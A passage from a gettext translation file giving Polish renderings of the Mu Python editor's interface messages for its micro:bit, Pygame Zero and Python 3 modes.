nowsze niż ta wersja Mu. Proszę zaktualizuj Mu do najnowszej wersji by wspierać to urządzenie.\n" "\n" "https://codewith.mu/" #: mu/modes/microbit.py:474 mu/modes/microbit.py:611 msgid "Could not find an attached BBC micro:bit." msgstr "Nie mogę znaleźć podłączonego BBC micro:bita." #: mu/modes/microbit.py:475 msgid "Please ensure you leave enough time for the BBC micro:bit to be attached and configured correctly by your computer. This may take several seconds. Alternatively, try removing and re-attaching the device or saving your work and restarting Mu if the device remains unfound." msgstr "" "Proszę upewnij się, że dajesz wystarczająco dużo czasu dla BBC micro:bit, że by został podłączony i skonfigurowany poprawnie przez Twój komputer. To może zająć kilka sekund. Alternatywnie, próbuj odłączyć i podłączyć ponownie urządzenie lub zapisać swoją pracę a następnie " "zrestartuj Mu, jeśli urządzenie pozostaje niewykryte." #: mu/modes/microbit.py:489 msgid "Finished flashing." msgstr "Zakończono fleszowanie." #: mu/modes/microbit.py:524 msgid "Copied code onto micro:bit." msgstr "Skopiowana kod na micro:bita." #: mu/modes/microbit.py:533 msgid "There was a problem flashing the micro:bit." msgstr "Wystąpił problem z fleszowaniem micro:bita." #: mu/modes/microbit.py:534 msgid "Please do not disconnect the device until flashing has completed. Please check the logs for more information." msgstr "Proszę nie odłączaj urządzenia dopóki fleszowanie nie zostało ukończone." #: mu/modes/microbit.py:555 msgid "REPL and file system cannot work at the same time." msgstr "REPL i system plików nie mogą działać w tym samym czasie." #: mu/modes/microbit.py:556 msgid "The REPL and file system both use the same USB serial connection. Only one can be active at any time. Toggle the file system off and try again." msgstr "REPL i system plików oba używają tego samego połączenia szeregowego USB. Tylko jeden może być aktywny w dowolnym momencie. Wyłącz system plików i próbuj ponownie." #: mu/modes/microbit.py:573 msgid "The plotter and file system cannot work at the same time." msgstr "Plotter i system plików nie mogą być używane w tym samym czasie." #: mu/modes/microbit.py:575 msgid "The plotter and file system both use the same USB serial connection. Only one can be active at any time. Toggle the file system off and try again." msgstr "Plotter i system plików oba używają tego samego połączenia szeregowego USB. Tylko jeden może być aktywny w dowolnym momencie. Wyłącz system plików i próbuj ponownie." #: mu/modes/microbit.py:587 msgid "File system cannot work at the same time as the REPL or plotter." msgstr "System plików nie może działać w tym samym czasie co REPL lub plotter." #: mu/modes/microbit.py:589 msgid "The file system and the REPL and plotter use the same USB serial connection. Toggle the REPL and plotter off and try again." msgstr "System plików i REPL i plotter używają tego samego połączenia szeregowego USB. Wyłącz REPL i plotter i próbuj ponownie." #: mu/modes/microbit.py:612 msgid "" "Please make sure the device is plugged into this computer.\n" "\n" "The device must have MicroPython flashed onto it before the file system will work.\n" "\n" "Finally, press the device's reset button and wait a few seconds before trying again." msgstr "" "Proszę upewnij się, że urządzenie jest podłączone do komputera.\n" "\n" "Urządzenie musi zawierać sflaszowany Micropython na nim zanim system plików będzie działać.\n" "\n" "Na końcu naciśnij przycisk reset urządzenia i poczekaj kilka sekund przed ponowną próbą." #: mu/modes/pygamezero.py:35 msgid "Pygame Zero" msgstr "Pygame Zero" #: mu/modes/pygamezero.py:36 msgid "Make games with Pygame Zero." msgstr "Twórz gry z Pygame Zero." #: mu/modes/pygamezero.py:51 mu/modes/pygamezero.py:101 msgid "Play" msgstr "Graj" #: mu/modes/pygamezero.py:52 mu/modes/pygamezero.py:102 msgid "Play your Pygame Zero game." msgstr "Graj w swoją grę Pygame Zero." #: mu/modes/pygamezero.py:58 msgid "Images" msgstr "Obrazki" #: mu/modes/pygamezero.py:59 msgid "Show the images used by Pygame Zero." msgstr "Pokaż obrazki używane przez Pygame Zero." #: mu/modes/pygamezero.py:65 msgid "Fonts" msgstr "Czcionki" #: mu/modes/pygamezero.py:66 msgid "Show the fonts used by Pygame Zero." msgstr "Pokaż czcionki używane przez Pygame Zero." #: mu/modes/pygamezero.py:72 msgid "Sounds" msgstr "Dźwięki" #: mu/modes/pygamezero.py:73 msgid "Show the sounds used by Pygame Zero." msgstr "Pokaż dźwięki używane przez Pygame Zero." #: mu/modes/pygamezero.py:79 msgid "Music" msgstr "Muzyka" #: mu/modes/pygamezero.py:80 msgid "Show the music used by Pygame Zero." msgstr "Pokaż muzykę używaną przez Pygame Zero." #: mu/modes/pygamezero.py:110 msgid "Stop your Pygame Zero game." msgstr "Zatrzymaj swoją grę Pygame Zero." #: mu/modes/python3.py:97 msgid "Python 3" msgstr "Python 3" #: mu/modes/python3.py:98 msgid "Create code using standard Python 3." msgstr "Twórz kod używając standardowego Pythona 3." #: mu/modes/python3.py:113 mu/modes/python3.py:158 msgid "Run" msgstr "Wykonuj" #: mu/modes/python3.py:114 mu/modes/python3.py:159 msgid "Run your Python script." msgstr "Wykonuj swój skrypt w Pythonie " #: mu/modes/python3.py:120 msgid "Debug" msgstr "Debuguj" #: mu/modes/python3.py:121 msgid "Debug your Python script." msgstr "Debuguj swój skrypt w Pythonie." #: mu/modes/python3.py:128 msgid "Use the REPL for live coding." msgstr "Używaj REPL do kodowania na żywo." #: mu/modes/python3.py:137 msgid "Plot data from your script or the REPL." msgstr "Rysuj dane ze swojego skryptu lub REPLa." #: mu/modes/python3.py:167 msgid "Stop your Python script." msgstr "Zatrzymaj swój skrypt w Pythonie" #: mu/modes/python3.py:230 msgid "Starting iPython REPL." msgstr "Uruchamianie iPython REPL" #: mu/modes/python3.py:234 msgid "Stopping iPython REPL (this may take a short amount of time)." msgstr "Zatrzymywanie iPython REPL (to może potrwać krótką chwilę czasu)." #: mu/modes/python3.py:319 msgid "REPL started." msgstr "REPL uruchomiony." #: mu/modes/python3.py:328 msgid "REPL stopped." msgstr "REPL zatrzymany."
Close